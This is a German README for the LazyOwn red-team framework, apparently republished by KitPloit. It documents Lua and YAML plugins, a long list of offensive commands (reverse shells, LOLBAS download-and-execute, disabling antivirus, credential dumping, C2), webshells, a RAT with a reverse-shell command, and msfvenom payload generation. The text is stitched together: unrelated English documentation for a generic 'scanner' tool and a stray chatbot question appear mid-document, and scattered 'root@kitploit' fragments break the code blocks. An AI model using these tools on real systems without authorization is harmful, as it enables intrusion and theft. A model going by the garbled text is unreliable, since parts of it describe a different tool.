Siehe [`COMMANDS.md`](https://github.com/grisuno/lazyown/blob/main/COMMANDS.md) für die vollständige 606-Befehlsreferenz und [`ESSENTIALS.md`](https://github.com/grisuno/lazyown/blob/main/ESSENTIALS.md) für die 18 Befehle, die 80 % der Engagements abdecken.

# Erweitern von LazyOwnShell mit Lua-Plugins

Dieses Dokument erklärt, wie man Lua-Skripting verwendet, um die Funktionalität der `LazyOwnShell`-Anwendung zu erweitern, die auf dem `cmd2`-Framework in Python aufbaut. Lua ermöglicht es Ihnen, benutzerdefinierte Plugins zu schreiben, die neue Befehle hinzufügen, bestehendes Verhalten ändern oder auf Anwendungsdaten zugreifen können.

![image](https://assets.kitploit.com/production/public/readmes/56369/c299c50e76da30a39158e7121eb350b9c906048783727107fb9ca556c5317878/f2fa2be6395535c04e8fe7e5630c65d7112913560e76ea2c6a6e0144be148795-display-v1.webp)

---

## Inhaltsverzeichnis

1. [Einführung](#einführung)
2. [Einrichten von Lua-Plugins](#einrichten-von-lua-plugins)
3. [Schreiben von Lua-Plugins](#schreiben-von-lua-plugins)
4. [Registrieren neuer Befehle](#registrieren-neuer-befehle)
5. [Zugriff auf Anwendungsdaten](#zugriff-auf-anwendungsdaten)
6. [Fehlerbehandlung](#fehlerbehandlung)
7. [Beispiel-Plugins](#beispiel-plugins)
8. [Best Practices](#best-practices)

---

## 1. Einführung

Die `LazyOwnShell`-Anwendung unterstützt Lua-Skripting, damit Benutzer ihre Funktionalität erweitern können, ohne den Python-Kerncode zu ändern. Lua-Skripte (Plugins) werden im Verzeichnis `plugins/` gespeichert und beim Start der Anwendung automatisch geladen.

Lua-Plugins können:
- Neue Befehle zur Shell hinzufügen.
- Bestehende Befehle oder Verhaltensweisen ändern.
- Auf Anwendungsdaten zugreifen und diese manipulieren, die von Python bereitgestellt werden.

---

## 2. Einrichten von Lua-Plugins

Um Lua-Plugins zu verwenden, stellen Sie Folgendes sicher:

1. Installieren Sie die `lupa`-Bibliothek in Ihrer Python-Umgebung:   ```bash
   pip install lupa
root@kitploit:~
plugins/
     init_plugins.lua
     hello.lua
     goodbye.lua

Wenn die Anwendung startet, führt sie init_plugins.lua aus, wodurch alle anderen .lua-Dateien im Verzeichnis plugins/ geladen werden.

  1. Lua-Plugins schreiben Ein Lua-Plugin ist eine Skriptdatei mit der Erweiterung .lua, die im Verzeichnis plugins/ abgelegt wird. Jedes Plugin kann Funktionen definieren und sie als Befehle in der Shell registrieren.

Struktur eines Lua-Plugins ```lua -- Define a function for the new command function my_command(arg) -- Your logic here print("This is a new command: " .. (arg or "default")) end

root@kitploit:~
-- Register the function as a command
register_command("my_command", my_command)
root@kitploit:~
Schlüsselfunktionen
- register_command(command_name, lua_function):
- Registriert einen neuen Befehl in der Shell.
- command_name: Der Name des Befehls (z. B. hello).
- lua_function: Die Lua-Funktion, die ausgeführt wird, wenn der Befehl aufgerufen wird.

3. Neue Befehle registrieren

 Um einen neuen Befehl zur Shell hinzuzufügen, befolgen Sie diese Schritte:

- Definieren Sie eine Lua-Funktion, die die Befehlslogik implementiert.
- Verwenden Sie register_command, um die Funktion als Befehl zu registrieren.
- Beispiel: Hinzufügen eines hello-Befehls
- Erstellen Sie eine Datei plugins/hello.lua mit folgendem Inhalt:   ```lua
 function hello(arg)
     local name = arg or "world"
     print("Hello, " .. name .. "!")
 end

 register_command("hello", hello)

Jetzt können Sie den Befehl hello in der Shell ausführen: bash hello Lua Hello, Lua! 4. Bewährte Methoden

  • Halten Sie Plugins modular : Jedes Plugin sollte sich auf eine einzelne Funktion oder Funktionalität konzentrieren.
  • Dokumentieren Sie Ihre Plugins : Stellen Sie eine klare Dokumentation für jedes Plugin bereit, einschließlich Anwendungsbeispielen.
  • Testen Sie gründlich : Testen Sie Ihre Plugins isoliert, bevor Sie sie in die Hauptanwendung integrieren.
  • Behandeln Sie Fehler elegant : Verwenden Sie pcall, um Fehler in Lua-Plugins zu behandeln und Abstürze zu verhindern.

Durch die Nutzung von Lua-Skripting können Sie die Funktionalität von LazyOwnShell erweitern, ohne den Python-Kerncode zu ändern. Dies ermöglicht größere Flexibilität und Anpassungsfähigkeit, sodass Benutzer ihre eigenen Plugins schreiben können, um spezifische Anforderungen zu erfüllen. Viel Spaß beim Programmieren!

LazyAddons YAML-System

Die Erweiterung der Fähigkeiten des LazyOwn RedTeam Frameworks war noch nie so einfach, selbst für Nicht-Programmierer, dank des LazyAddons-Systems, das die Erweiterung von Funktionalitäten mithilfe von YAML-Dateien ermöglicht.

Deklarative Befehlserstellung durch YAML-Konfigurationsdateien.

Dateistruktur

lazyaddons/ ├── addon1.yaml ├── addon2.yaml └── example.yaml

🛠️ Addon-Definition

Minimales Beispiel```yaml

name: "shortname" # CLI command (do_shortname) enabled: true description: "Tool description for help system"

tool: name: "Full Tool Name" repo_url: "https://github.com/user/repo" install_path: "tools/toolname" execute_command: "python tool.py -u {url}"

root@kitploit:~
Erweiterte Konfiguration```yaml
params:
  - name: "url"
    required: true
    description: "Target URL"
    default: "http://localhost"

  - name: "threads"
    required: false
    default: 4

Features Automatische Installation Tools werden bei Fehlen aus Git geklont:```bash git clone <repo_url> <install_path>

root@kitploit:~
Parameter Substitution
Ersetzt {param} in Befehlen durch Werte aus:

- Befehlsargumenten

- Standardwerten

- self.params

- Hilfe-Integration

help <command> zeigt die YAML-Beschreibung an.

Vorlage```yaml
name: ""
enabled: true
description: ""

tool:
  name: ""
  repo_url: ""
  install_path: ""
  install_command: ""  # Optional
  execute_command: ""

params:
  - name: ""
    required: true/false
    default: ""
    description: ""

▶️ Verwendung Legen Sie YAML-Dateien in lazyaddons/ ab

Starten Sie Ihre CLI-Anwendung

Führen Sie registrierte Befehle aus:```bash (Cmd) help your_command (Cmd) your_command -args

root@kitploit:~
🚨 Fehlerbehebung
Fehlende Parameter: Überprüfen Sie die erforderlichen Felder in YAML

Installationsfehler: Überprüfen Sie den Netzwerk-/Git-Zugriff

Befehlsfehler: Validieren Sie die execute_command-Syntax


Hauptmerkmale:
- Sauberes GitHub-flavored Markdown
- Fokussiert ausschließlich auf YAML-Addons
- Enthält gebrauchsfertige Vorlagen
- Dokumentiert das Parameter-Ersetzungssystem
- Bietet Tipps zur Fehlerbehebung

Möchten Sie, dass ich bestimmte Beispiele oder Anwendungsszenarien hinzufüge?

![LazyOwnGris3](https://assets.kitploit.com/production/public/readmes/56369/e33455dad0ebc6b7279e64d6befcf165ce82ef5d21df552c9c6207e517842ac6/f44814861f7107d595f4c1c2f543f527ae55c37bbd3146414a6050250ef1c7e4-display-v1.webp)


LazyOwn auf Reddit

Revolutionieren Sie Ihr Pentesting mit LazyOwn: Automatisieren Sie die Intrusion auf Linux-, MAC OSX- und Windows-OPFERN

<https://www.reddit.com/r/LazyOwn/>


<https://github.com/grisuno/LazyOwn/assets/1097185/eec9dbcc-88cb-4e47-924d-6dce2d42f79a>

Entdecken Sie LazyOwn, die ultimative Lösung zur Automatisierung des Pentesting-Workflows für Angriffe auf Linux-, MacOSX- und Windows-Systeme. Unser leistungsstarkes Tool vereinfacht das Pentesting und macht es effizienter und effektiver. Sehen Sie sich dieses Video an, um zu erfahren, wie LazyOwn Ihre Sicherheitsbewertungen optimieren und Ihr Cybersicherheits-Toolkit erweitern kann.```sh
LazyOwn> assign rhost 192.168.1.1
[SET] rhost set to 192.168.1.1
LazyOwn> run lazynmap
[INFO] Running Nmap scan on 192.168.1.1
...

LazyOwn ist ideal für Cybersicherheitsexperten, die eine zentralisierte und automatisierte Lösung für ihre Pentesting-Anforderungen suchen, um Zeit zu sparen und die Effizienz bei der Identifizierung und Ausnutzung von Schwachstellen zu erhöhen.

Captura de pantalla 2024-05-22 021136

Anforderungen

  • Python 3.x

  • Python-Module:

    • requests
    • python-libnmap
    • pwncat-cs
    • pwn
    • groq
    • PyPDF2
    • docx
    • python-docx
    • olefile
    • exifread
    • pycryptodome
    • impacket
    • pandas
    • colorama
    • tabulate
    • pyarrow
    • keyboard
    • flask-unsign
    • name-that-hash
    • certipy-ad
    • ast
    • pykeepass
    • cmd2
    • Pillow
    • netaddr
    • stix2
    • pyautogui
  • subprocess (in der Python-Standardbibliothek enthalten)

  • platform (in der Python-Standardbibliothek enthalten)

  • tkinter (Optional für die GUI)

  • numpy (Optional für die GUI)

Installation

  1. Klone das Repository:```sh git clone https://github.com/grisuno/LazyOwn.git cd LazyOwn
root@kitploit:~
2. Installiere die Python-Abhängigkeiten:```sh
./install.sh

Verwendung

image```sh ./run or ./fast_run_as_r00t.sh

./run --help [;,;] LazyOwn vvvrelease/0.2.8 Usage: ./run [Options] Options: --help Show this help panel. -v Show version. -p <payloadN.json> Exec with different payload.json example. ./run -p payload1.json, (Special for RedTeams) -c Exec a command using LazyOwn example: ping --no-banner No Banner -s Run as root --old-banner Show old Banner

./fast_run_as_r00t.sh --vpn 1 (the number id of your file in vpn directory)

root@kitploit:~
| `-s` | `--server` | Server URL (default: `http://localhost:8080`) |
| `-t` | `--token` | Authentication token |
| `-o` | `--output` | Output file path |
| `-f` | `--format` | Output format: `json`, `yaml`, `table` |
| `-v` | `--verbose` | Enable verbose logging |
| `-q` | `--quiet` | Suppress non-essential output |
| `-h` | `--help` | Show help message |

### Examples

```bash
# Basic scan
scanner scan --target example.com

# Scan with custom output
scanner scan --target example.com --output results.json --format json

# Authenticated scan
scanner scan --target example.com --token $API_TOKEN

Configuration

The tool reads configuration from ~/.scanner/config.yaml:

root@kitploit:~
server:
  url: http://localhost:8080
  timeout: 30s

auth:
  token: ${SCANNER_TOKEN}

output:
  format: json
  verbose: false

Troubleshooting

Common Issues

Connection refused

Ensure the server is running:

root@kitploit:~
scanner server start

Authentication failed

Verify your token is valid:

root@kitploit:~
scanner auth verify --token $API_TOKEN

Permission denied

Run with appropriate privileges or check file permissions:

root@kitploit:~
chmod +x ./scanner

Contributing

We welcome contributions! Please follow these steps:

  1. Fork the repository
  2. Create a feature branch (git checkout -b feature/amazing-feature)
  3. Commit your changes (git commit -m 'Add amazing feature')
  4. Push to the branch (git push origin feature/amazing-feature)
  5. Open a Pull Request

License

This project is licensed under the MIT License - see the LICENSE file for details.

Acknowledgments

  • Thanks to all contributors
  • Inspired by similar security tools
  • Built with Go``` Use assign to configure parameters. Use show to display the current parameter values. Use run <script_name> to execute a script with the set parameters. Use exit to exit the CLI.

Once the shell is running, you can use the following commands:

list: Lists all LazyOwn Modules. assign : Sets the value of a parameter. For example, assign rhost 192.168.1.1. show: Displays the current values of all parameters. run

┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env) └╼ $ help

  1. Reconnaissance ────────────────── alterx finalrecon ping trace
    apache_users getcap ports trufflehog
    binarycheck gospider proxy tshark_analyze
    cve graudit recon waybackmachine
    dig httprobe serveralive2 whatweb
    dnschef ipinfo sherlock windapsearchscrapeusers dnsenum launchpad sslscan
    dnsmap metabigor tcpdump_capture dnstool_py openssl_sclient tcpdump_icmp

  2. Scanning & Enumeration ────────────────────────── ad_ldap_enum enum4linux_ng nbtscan rpcdump wpscan allin evil_ssdp net_rpc_addmem rpcmap_py
    amass feroxbuster netexec samrdump
    arjun finger_user_enum netview sawks
    arpscan fuzz nikto sessionssh
    batchnmap getnpusers nmapscript skipfish
    bbot gobuster nuclei smbattack
    blazy hound odat smbclient
    bloodhound kerbrute openredirex smbclient_impacket breacher lazynmap osmedeus smbclient_py
    certipy ldapdomaindump parsero smbmap
    certipy_ad ldapsearch parth smtpuserenum
    changeme lookupsid portdiscover snmpcheck
    cme lookupsid_py portservicediscover snmpwalk
    davtest loxs pre2k swaks
    dirsearch lynis pykerbrute vscan
    dmitry magicrecon rdp_check_py wfuzz
    enum4linux mqtt_check_py rpcclient windapsearch

  3. Exploitation ──────────────── aclpwn_py gettgtpkinit_py psexec sqlmap
    addspn_py greatSCT psexec_py sqsh
    autoblody img2cookie py3ttyup ss
    cacti_exploit jwt_tool pyautomate sshexploit
    commix krbrelayx_py pyoracle2 template_helper_serializer cp kusa pywhisker ticketer
    createcookie lazypwn rejetto_hfs_exec unicode_WAFbypass
    createdll lfi rev upload_bypass
    digdug lol seo utf
    download_exploit ms08_067_netapi sharpshooter winbase64payload
    downloader ntpdate shellfire wrapper
    eternal owneredit shellshock www
    excelntdonut padbuster sireprat xss
    filtering powerserver sqli xsstrike
    gets4uticket_py printerbug_py sqli_mssql_test

  4. Post-Exploitation ───────────────────── add2find exe2bin pezorsh
    adversary exe2donutbin pip_proxy
    adversary_yaml extract_yaml pip_repo
    aes_pe find powershell_cmd_stager ai_playbook follina rmfromfind
    apt_proxy hex2shellcode rubeus
    apt_repo internet_proxy scavenger
    atomic_lazyown issue_command_to_c2 scp
    bin2shellcode lazywebshell service_ssh
    convert_remcomsvc_from_file mimikatzpy sessionsshstrace
    cports msfshellcoder shellcode
    create_synthetic ofuscate_string shellcode2elf
    createpayload ofuscatesh shellcode2sylk
    d3monizedshell ofuscatorps1 shellcode_search
    disableav path2hex ssh_cmd

  5. Persistence ─────────────── asprevbase64 ftp msfpc setoolKits backdoor_factory generate_revshell paranoid_meterpreter ssh
    conptyshell grisun0 pwncat toctoc
    createrevshell grisun0w pwncatcs veil
    createwebshell ivy rdp weevely
    createwinrevshell knokknok revwin weevelygen darkarmour listener_go scarecrow
    dr0p1t listener_py service

  6. Privilege Escalation ──────────────────────── responder smbserver

  7. Credential Access ───────────────────── addusers cred john2hash rocky
    adsso_spray creds_py john2keepas searchhash
    cewl crunch john2zip smalldic
    crack_cisco_7_password cubespraying keepass spraykatz
    createcredentials dacledit medusa sshkey
    createhash generatedic passtightvnc sudo
    createmail hashcat passwordspray transform
    createusers_and_hashs hydra refill_password username_anarchy

  8. Lateral Movement ──────────────────── addcli id_rsa penelope sshd wifipass
    bloodyAD lateral_mov_lin regeorg stormbreaker wmiexec
    chisel ligolo rnc targetedKerberoas wmiexecpro dcomexec mssqlcli set_proxychains tord
    getTGT nc shadowsocks upload_c2
    gospherus ngrok socat vpn

  9. Data Exfiltration ───────────────────── adgetpass dploot evilwinrm getuserspns reg_py secretsdump
    decrypt encrypt getadusers gitdumper rsync unzip
    download_c2 evidence getnthash_py gmsadumper samdump2 upload_gofile

  10. Command & Control ───────────────────── atomic_agent automsf emp3r0r mitre_test sliver_server atomic_gen c2 empire msf
    atomic_tests caldera generate_playbook msfrpc
    attack_plan duckyspark iis_webdav_upload_asp my_playbook

  11. Reporting ───────────── apropos createtargets gpt process_scans banners download_malwarebazar groq pth_net
    c2asm extract_ports img2vid pup
    camphish eyewitness malwarebazar vulns
    create_session_json eyewitness_py morse
    createjsonmachine get_avaible_actions name_the_hash createjsonmachine_batch gowitness nmapscripthelp

  12. Miscellaneous ───────────────── acknowledgearp clone_site getseclist links run
    acknowledgeicmp cron graph list sh
    addhosts decode h load_session show
    aliass download_resources hex_to_plaintext nano sys
    assign encode ignorearp news tab
    banner encoderpayload ignoreicmp payload urldecode base64decode encodewinbase64 ip pwd urlencode base64encode exit ip2asn qa v
    check_update fixel ip2hex rhost
    clean fixperm kick rot
    clock gencert lazyscript rotf

  13. Lua Plugin ────────────── generate_c_reverse_shell lolbas_certutil_download_exec generate_cleanup_commands lolbas_certutil_exe
    generate_html_payload lolbas_mshta_js
    generate_lateral_command lolbas_mshta_reverse_shell
    generate_linux_asm_reverse_shell lolbas_rundll32_dll
    generate_linux_raw_shellcode lolbas_wmic_xsl_execution
    generate_lolbird parse_nmap_with_xmlstarlet
    generate_msfvenom_loader run_nuclei_on_nmap_files
    generate_msfvenom_loader_windows run_python_rev_c2
    generate_reverse_shell rundll32_sct_from_url
    generate_stub validate_shellcode
    kerberos_harvest visualize_network
    lolbas_bitsadmin_exe

  14. Yaml Addon. ─────────────── AdaptixC2 GoPEInjection OverRide agentzero gosearch peeko argfuscator gui pretender ATTPwn gui2 PTMultiTools AuroraPatch hack_browser_data PTMultiTools_scan banner_tool hellbird PyinMemoryPE bbr hive pyrit beacon hooka_linux_amd64 raven blacksandbeacon hostdiscover ridenum blacksandbeacon_bof kivi_revshell setoolkit cgoblin_windows laps ShadowLink Clematis lazyaddon_creator shellcode_custom_win_rev_tcp_xored commix2 lazyagentAi SigPloit copy-fail-CVE-2026-31431 lazybinenc spoonmap CVE-2022-22077 lazyftpsniff stratus_detonate CVE_2025_24071_PoC LazyLoader stratus_list demiguise lazymapd toposwarm ebird3 lazyownbt unicorn evilginx2 LazyOwnExplorer upxdump gcr llm vulnbot gemini-cli NullGate vulnbot_groq gen_dll_rev oniux vulnhuntr Get_ReverseShell opencode_adapter watchguard githubot orpheus wspcoerce gomulti_loader_linux gomulti_loader_windows

  15. Adversary YAML. ─────────────────── amsi_c implant_nim_nim infect_c pid_c
    implant_crypt_go implant_rust_rs persist_ps1 shell_c

  16. Artificial Intelligence ─────────────────────────── ai_toggle

Uncategorized Commands ────────────────────── addalias gobuster_dns ipy ollama_enum set
alias gobuster_http listaliases pop shell
edit gobuster_web macro quit shortcuts
EOF help nikto_host rrhost subwfuzz_tool ffuf_enumeration history notify run_pyscript ffuf_tool ipp nuclei_ad_http run_script

┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env) └╼ $

root@kitploit:~
## Tag auf YouTube
<https://www.youtube.com/hashtag/lazyown>

## Podcast
<https://www.youtube.com/watch?v=m4FtlhownvM&list=PLW9Qe5HJK5CFXyIsF9b0NB6n9EY8Am3YZ>

## DeepWiki
<https://deepwiki.com/grisuno/LazyOwn/>```sh
LazyOwn> assign binary_name my_binary
LazyOwn> assign rhost 192.168.1.100
LazyOwn> assign api_key my_api_key
LazyOwn> run lazysearch
LazyOwn> run lazynmap
LazyOwn> exit

image

Zur Suche innerhalb der aus GTFOBins bezogenen gescrapten Datenbank.```sh python3 lazysearch.py binario_a_buscar

root@kitploit:~
## Suchen mit GUI
Zusätzliche Funktionen und Verbesserungen:
AutocompleteEntry:

Ein Filter wurde hinzugefügt, um None-Werte aus der Autocomplete-Liste zu entfernen.
Neuer Angriffsvektor:

Eine Schaltfläche „Neuer Angriffsvektor“ wurde zur Hauptoberfläche hinzugefügt.
Es wurde eine Funktionalität implementiert, um einen neuen Angriffsvektor hinzuzufügen und die aktualisierten Daten in Parquet-Dateien zu speichern.
Export nach CSV:

Eine Schaltfläche „Export nach CSV“ wurde zur Hauptoberfläche hinzugefügt.
Es wurde eine Funktionalität implementiert, um DataFrame-Daten in eine vom Benutzer ausgewählte CSV-Datei zu exportieren.
Verwendung:

Einen neuen Angriffsvektor hinzufügen: Klicken Sie auf die Schaltfläche „Neuer Angriffsvektor“, füllen Sie die Felder aus und speichern Sie.
Export nach CSV: Klicken Sie auf die Schaltfläche „Export nach CSV“ und wählen Sie den Speicherort für die CSV-Datei aus.
Neue Funktion scan_system_for_binaries:

Implementiert systemweite Binärsuchen mit dem Befehl file, um festzustellen, ob eine Datei binär ist.
Verwendet os.walk, um das Dateisystem zu durchlaufen.
Die Ergebnisse werden in einem neuen Fenster innerhalb der GUI angezeigt.
Schaltfläche zum Suchen nach Binärdateien:

Eine Schaltfläche „Search System for Binaries“ wurde zur Hauptoberfläche hinzugefügt, die die Funktion scan_system_for_binaries aufruft.
Hinweis:

Die Funktion is_binary verwendet den Unix-Befehl file, um festzustellen, ob eine Datei eine binäre ausführbare Datei ist. Wenn Sie ein anderes Betriebssystem verwenden, müssen Sie diese Methode für die Kompatibilität anpassen.
Diese Implementierung kann ressourcenintensiv sein, da sie das gesamte Dateisystem durchläuft. Sie könnten in Betracht ziehen, zusätzliche Optionen hinzuzufügen, um die Suche auf bestimmte Verzeichnisse zu beschränken oder nach bestimmten Dateitypen zu filtern.```sh
python3 LazyOwnExplorer.py

image```sh python3 lazyown.py

root@kitploit:~
Wenn Sie aktualisieren möchten, gehen wir wie folgt vor:```sh
cd LazyOwn
rm parquets/*.csv
rm parquets/*.parquet
./update_db.sh

Verwendung des Modus LazyOwn WebShells

Die LazyOwn Webshell Collection ist eine Sammlung von Webshells für unser Framework, die es uns ermöglicht, eine Webshell auf der Maschine einzurichten, auf der wir LazyOwn ausführen, und zwar unter Verwendung verschiedener Programmiersprachen. Im Wesentlichen startet LazyOwn Webshell einen Webserver innerhalb des Modulverzeichnisses, der über einen Webbrowser zugänglich ist. Dadurch können wir sowohl die Module separat über das Web verfügbar machen als auch auf das cgi-bin-Verzeichnis zugreifen, in dem sich vier Shells befinden: eine in Bash, eine weitere in Perl, eine in Python und eine in ASP, falls das Ziel eine Windows-Maschine ist.```sh lazywebshell

root@kitploit:~
y listo ya podemos acceder a cualquiera de estas url:

<http://localhost:8080/cgi-bin/lazywebshell.sh>

<http://localhost:8080/cgi-bin/lazywebshell.py>

<http://localhost:8080/cgi-bin/lazywebshell.asp>

<http://localhost:8080/cgi-bin/lazywebshell.cgi>

![image](https://assets.kitploit.com/production/public/readmes/56369/46d7b61ebc8f339f9ddf47b4587e3a3b2e658653754abe25a57d499da42bb54f/810e9f2ec3bc35e4f4a8fb64f8108a85c581bd0448d21b2cb2956b7c5b4814be-display-v1.webp)

## Lazy MSFVenom für Reverse Shell verwenden

    Führt das Tool `msfvenom` aus, um basierend auf Benutzereingaben eine Vielzahl von Payloads zu generieren.

    Diese Funktion fordert den Benutzer auf, einen Payload-Typ aus einer vordefinierten Liste auszuwählen, und führt den entsprechenden
    `msfvenom`-Befehl aus, um den gewünschten Payload zu erstellen. Sie übernimmt Aufgaben wie die Generierung verschiedener Arten von
    Payloads für Linux-, Windows-, macOS- und Android-Systeme, einschließlich optionaler Kodierung mit Shikata Ga Nai für C-Payloads.

    Die generierten Payloads werden in ein `sessions`-Verzeichnis verschoben, in dem entsprechende Berechtigungen gesetzt werden. Zusätzlich
    können die Payloads mit UPX zur Platzeinsparung komprimiert werden. Wenn der ausgewählte Payload eine Android-APK ist,
    signiert die Funktion auch die APK und führt die erforderlichen Nachbearbeitungsschritte durch.

    :param line: Kommandozeilenargumente für das Skript.
    :return: None```sh
run lazymsfvenom or venom

Command-&-Control-System

Das Command-&-Control-(C2)-System ermöglicht Remote-Operationen über eine Server-Client-Architektur mit verschlüsselter Kommunikation.

image

Lazy PATH Hijacking verwenden

Im Verzeichnis /tmp wird eine Datei mit dem im Payload festgelegten Namen binary_name erstellt, die im Speicher mit gzip initialisiert wird und bash im Payload verwendet. Um den Payload aus dem JSON festzulegen, verwenden Sie den Befehl payload zum Ausführen. Verwenden Sie:```sh lazypathhijacking

root@kitploit:~
## Verwendung des LazyOwn RAT-Modus

![image](https://assets.kitploit.com/production/public/readmes/56369/9402abc4a6c873096e3c6017e35f56d0f3c5f5c66cb15a8b4bc9b8a8d54385f7/c3430588984c7ec596fff9b5d7553c0dd773ee29fa26558af681f93cf5433de4-display-v1.webp)


LazyOwn RAT ist ein einfaches, aber leistungsstarkes Remote-Administration-Tool. Es verfügt über eine Screenshot-Funktion, die den Bildschirm des Servers erfasst, einen Upload-Befehl, mit dem wir Dateien auf die kompromittierte Maschine hochladen können, und einen C&C-Modus, in dem Befehle an den Server gesendet werden können. Es arbeitet in zwei Modi: Client-Modus und Server-Modus. Es gibt keine Obfuskation, und das RAT basiert auf BasicRat. Du findest es auf GitHub unter https://github.com/awesome-security/basicRAT und unter https://github.com/hash3liZer/SillyRAT. Obwohl Letzteres viel umfassender ist, wollte ich nur die Screenshot-Erfassung, Datei-Uploads und das Senden von Befehlen implementieren. Vielleicht werde ich in Zukunft eine Webcam-Anzeigefunktion hinzufügen, aber das kommt später.```sh
usage: lazyownserver.py [-h] [--host HOST] [--port PORT] --key KEY
lazyownserver.py: error: the following arguments are required: --key

usage: lazyownclient.py [-h] --host HOST --port PORT --key KEY
lazyownclient.py: error: the following arguments are required: --host, --port, --key

LazyOwn> run lazyownclient
[?] lhost and lport and rat_key must be set

LazyOwn> run lazyownserver
[?] rhost and lport and rat_key must be set

luego los comandos son:

upload /path/to/file
donwload /path/to/file
screenshot
sysinfo
fix_xauth #to fix xauth xD
lazyownreverse 192.168.1.100 8888 #Reverse shell to 192.168.1.100 on port 8888 ready to C&C

image

Modus Lazy Meta Extract0r verwenden

LazyMeta Extract0r ist ein Tool, das entwickelt wurde, um Metadaten aus verschiedenen Dateitypen zu extrahieren, darunter PDF, DOCX, OLE-Dateien (wie DOC und XLS) und verschiedene Bildformate (JPG, JPEG, TIFF). Dieses Tool durchläuft ein angegebenes Verzeichnis, sucht nach Dateien mit kompatiblen Erweiterungen, extrahiert die Metadaten und speichert sie in einer Ausgabedatei.

[*] Iniciando: LazyMeta extract0r [;,;]

usage: lazyown_metaextract0r.py [-h] --path PATH lazyown_metaextract0r.py: error: the following arguments are required: --path```sh python3 lazyown_metaextract0r.py --path /home/user

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/56369/12418a4b1a619614f513a2824b0ed26b369099b463f6e4e58c6f01389c5647f5/24e93754e70d5adbfca3184e65afb178ee598f53a3375c8029e0356233a77d8c-display-v1.webp)

## Modus verwenden: Entschlüsseln Verschlüsseln

Eine Verschlüsselungsmethode, die es uns ermöglicht, Dateien sowohl zu verschlüsseln als auch zu entschlüsseln, wenn wir natürlich den Schlüssel haben.

![Captura de pantalla 2024-06-08 231900](https://assets.kitploit.com/production/public/readmes/56369/67b1d3295f0fc3ebe4d9103a458fd0683ba8d78a426fc36ebcdbe6cfd8c45c87/61ff68c807f4de0641fcc5e74f9d81403d84a8f7eea58a8401e4c6e9b360e76e-display-v1.webp)```sh
encrypt path/to/file key # to encrypt
decrypt path/to/file.enc key #to decrypt

Verwendung des LazyNmap-Modus

image

Die Verwendung von Lazynmap bietet uns ein automatisiertes Skript für ein Ziel, in diesem Fall 127.0.0.1, unter Verwendung von Nmap. Das Skript erfordert administrative Berechtigungen über sudo. Es enthält außerdem ein Netzwerkerkennungsmodul, um zu identifizieren, was in dem IP-Segment vorhanden ist, in dem Sie sich befinden. Darüber hinaus kann das Skript jetzt ohne Parameter über den Alias nmap oder mit dem Befehl run lazynmap aufgerufen werden.

image```sh ./lazynmap.sh -t 127.0.0.1 # or in the cli just nmap

root@kitploit:~
## Verwendung des LazyOwn GPT One Liner CLI Assistant und Researcher

Entdecke die Revolution bei der Automatisierung von Pentesting-Aufgaben mit dem LazyOwn GPT One Liner CLI Assistant! Dieses unglaubliche Skript ist Teil der LazyOwn-Tool-Suite und wurde entwickelt, um dein Leben als Pentester effizienter und produktiver zu machen.

Hauptfunktionen:

Intelligente Automatisierung: Nutzt die Leistungsfähigkeit von Groq und fortschrittlichen natürlichen Sprachmodellen, um präzise und effiziente Befehle basierend auf deinen spezifischen Anforderungen zu generieren.
Benutzerfreundliche Oberfläche: Mit einem einfachen Prompt generiert und führt der Assistent One-Liner-Skripte aus und reduziert so drastisch den Zeit- und Arbeitsaufwand für die Erstellung komplexer Befehle.
Kontinuierliche Verbesserung: Transformiert und optimiert kontinuierlich seine Wissensbasis, um dir die besten Lösungen zu bieten und sich an jede Situation anzupassen.
Vereinfachtes Debugging: Aktiviere den Debug-Modus, um detaillierte Informationen bei jedem Schritt zu erhalten, was die Identifizierung und Behebung von Fehlern erleichtert.
Nahtlose Integration: Funktioniert mühelos in deinem Arbeitsbereich und nutzt die Leistungsfähigkeit der Groq-API, um schnelle und präzise Antworten zu liefern.
Sicherheit und Kontrolle:

Sichere Fehlerbehandlung: Erkennt und reagiert intelligent auf Ausführungsfehler und stellt sicher, dass du die volle Kontrolle über jeden generierten Befehl behältst.
Kontrollierte Ausführung: Vor der Ausführung eines Befehls wird deine Bestätigung angefordert, sodass du genau weißt, was auf deinem System ausgeführt wird.
Einfache Konfiguration:

Richte deinen API-Schlüssel in Sekunden ein und beginne, alle Vorteile des LazyOwn GPT One Liner CLI Assistant zu genießen. Ein Schnellstartleitfaden ist verfügbar, um dir bei der Konfiguration und der Maximierung des Potenzials dieses leistungsstarken Tools zu helfen.

Ideal für Pentester und Entwickler:

Optimiere deine Prozesse: Vereinfache und beschleunige die Befehlsgenerierung in deinen Sicherheitsaudits.
Kontinuierliches Lernen: Die Wissensbasis wird ständig aktualisiert und verbessert und bietet dir immer die neuesten Best Practices und Lösungen.
Mit dem LazyOwn GPT One Liner CLI Assistant veränderst du die Art und Weise, wie du arbeitest, und machst sie schneller, effizienter und sicherer. Verschwende keine Zeit mehr mit repetitiven und komplexen Aufgaben und konzentriere dich auf das, was wirklich zählt: das Entdecken und Beheben von Schwachstellen!

Schließe dich der Pentesting-Revolution mit LazyOwn an und bringe deine Produktivität auf die nächste Stufe!

[?] Verwendung: python lazygptcli.py --prompt "<your prompt>" [--debug]

[?] Optionen:

--prompt "The prompt for the programming task (required)."
--debug, -d "Enables debug mode to display debug messages."
--transform "Transforms the original knowledge base into an enhanced base using Groq."
[?] Stelle sicher, dass du deinen API-Schlüssel konfigurierst, bevor du das Skript ausführst:
export GROQ_API_KEY=<your_api_key>
[->] Besuche: https://console.groq.com/docs/quickstart (kein gesponserter Link)

Voraussetzungen:

Python 3.x
Ein gültiger Groq-API-Schlüssel
Schritte zum Erhalt des Groq-API-Schlüssels:
Besuche die Groq Console (https://console.groq.com/docs/quickstart), um dich zu registrieren und einen API-Schlüssel zu erhalten.```sh
export GROQ_API_KEY=<tu_api_key>
python3 lazygptcli.py --prompt "<tu prompt>" [--debug]

image

Verwendung von lazyown_bprfuzzer.py

Geben Sie die Argumente wie in den Anforderungen des Skripts angegeben an: Das Skript erfordert die folgenden Argumente:

